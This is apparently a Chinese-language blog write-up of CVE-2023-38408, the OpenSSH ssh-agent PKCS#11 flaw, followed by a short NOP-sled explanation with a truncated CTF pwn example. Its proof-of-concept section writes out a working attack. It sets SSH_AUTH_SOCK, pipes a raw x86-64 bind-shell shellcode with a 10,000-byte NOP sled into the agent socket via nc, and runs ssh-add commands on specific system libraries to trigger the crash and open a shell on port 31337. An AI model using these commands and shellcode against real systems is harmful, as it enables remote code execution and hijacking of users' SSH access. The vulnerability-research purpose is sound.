CVE-2023-38408-Brief-analysis
介绍
SSH(Secure Shell)是一种加密的网络传输协议。主要用来在客户端和服务器之间建立安全通信隧道。使用SSH进行远程登录,信息传输是加密的,即使信息被中途截获也不会泄露。OpenSSH软件套件负责SSH协议的实现。
23年七月爆出来OpenSSH(9.3p2版本以前)的一个CVE,用户使用 SSH-Agent 代理转发功能连接攻击者恶意服务器时,由于 SSH-Agent 未对加载的共享库进行限制,攻击者可通过将恶意共享库作为参数传递给 SSH-Agent 并通过其调用 dlopen/dlclose 函数加载 / 卸载位于用户客户端主机的共享库,实现远程代码执行。
攻击流程如图:
- 攻击者通过SSH连接到服务器
- Alice也通过SSH连接到服务器,此时Alice使用SSH转发代理连接到攻击者。
- 攻击者创建shellcode, 通过ssh进程发送给目标服务器
- shellcode利用ssh-agent的PKCS#11漏洞创建一个新进程,劫持Alice的ssh访问权限
- 成功执行该攻击后,攻击者可能会访问绑定shell(shell代码),该shell可以使用netcat进行访问。
准备工作
目标:提升redqueenrebel权限,损害alice账户
机器:
- workstation: 受害者机器
- kali 攻击者机器
用户:
- redqueenrebel: 非特权用户
- alice: workstation的root用户
- root: hacker
POC
首先我们已经完成攻击的第一、二步,也即两个用户已经有权通过SSH访问服务器。
获取在远程攻击者计算机上运行的 SSH 代理的 PID ,并导出到环境变量。我们还通过 ssh-add 添加了文件 linuxx64.elf.stub(UEFI 引导存根)
1
2
3echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
通过SSH把 shellcode复制到进程中
1
2
3SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
一旦 shellcode 成功放入代理内存中,直接按CtrlC,停止 netcat 传输。
通过ssh-add上传:ibttcn3-rt2-dynamic.so、libKF5SonnetUi.so.5.92.0 和 libns3.35-wave.so.0.0.0,触发SIGSEGV漏洞。
SIGSEGV
是Linux和类Unix系统中的一个信号,它表示"Segmentation Fault"(分段错误)。当一个程序尝试访问未分配给它的内存区域,或者访问已经被释放的内存区域,就会触发SIGSEGV
信号。收到 SIGSEGV 信号后,内核会识别出发生了无效内存访问,并继续调用自定义信号处理程序,而不是突然终止程序。此时攻击者会操纵程序的执行,并将其引导至位于 NOP 雪橇内的注入恶意代码。1
2
3
4
5
6
7ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]成功提Alice的权,映射到端口31337上。
PS1 nop-sled
nop是一条不做任何操作的单指令,对应的十六进制编码为0x90。这里nop将被用作欺骗因子。通过创建一个大的NOP指令数组并将其放在shellcode之前,如果EIP返回到存储nop sled的任意地址,那么在达到shellcode之前,每执行一条nop指令,EIP都会递增。这就是说只要返回地址被nop sled中的某一地址所重写,EIP就会将sled滑向将正常执行的shellcode。 以一个简单程序的pwn解释:
32位,canary保护开了,但没开NX和PIE,所以还是可以把shellcode写到栈上执行的。
反汇编main函数时报错:
由于F5在分析调用时,未能成功解析参数位置/参数个数, 解决方法:就是先undefine掉函数,在右键现在code,之后Creat function 就可以正常反编译了
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
query_position函数
1 | char *query_position() |
程序执行逻辑是:
- 输出栈中的地址
- 输入字符串赋给seed
- 输入地址赋给v5
- 使用v5(),从输入的地址,执行该地址的代码
如果在栈中的某个位置填入大量nop指令再接上shellcode,随后控制程序的执行流从nop指令开始执行,则程序就会一直执行之前填入的nop,然后就是shellcode,从而成功pwn掉。
1 | from pwn import * |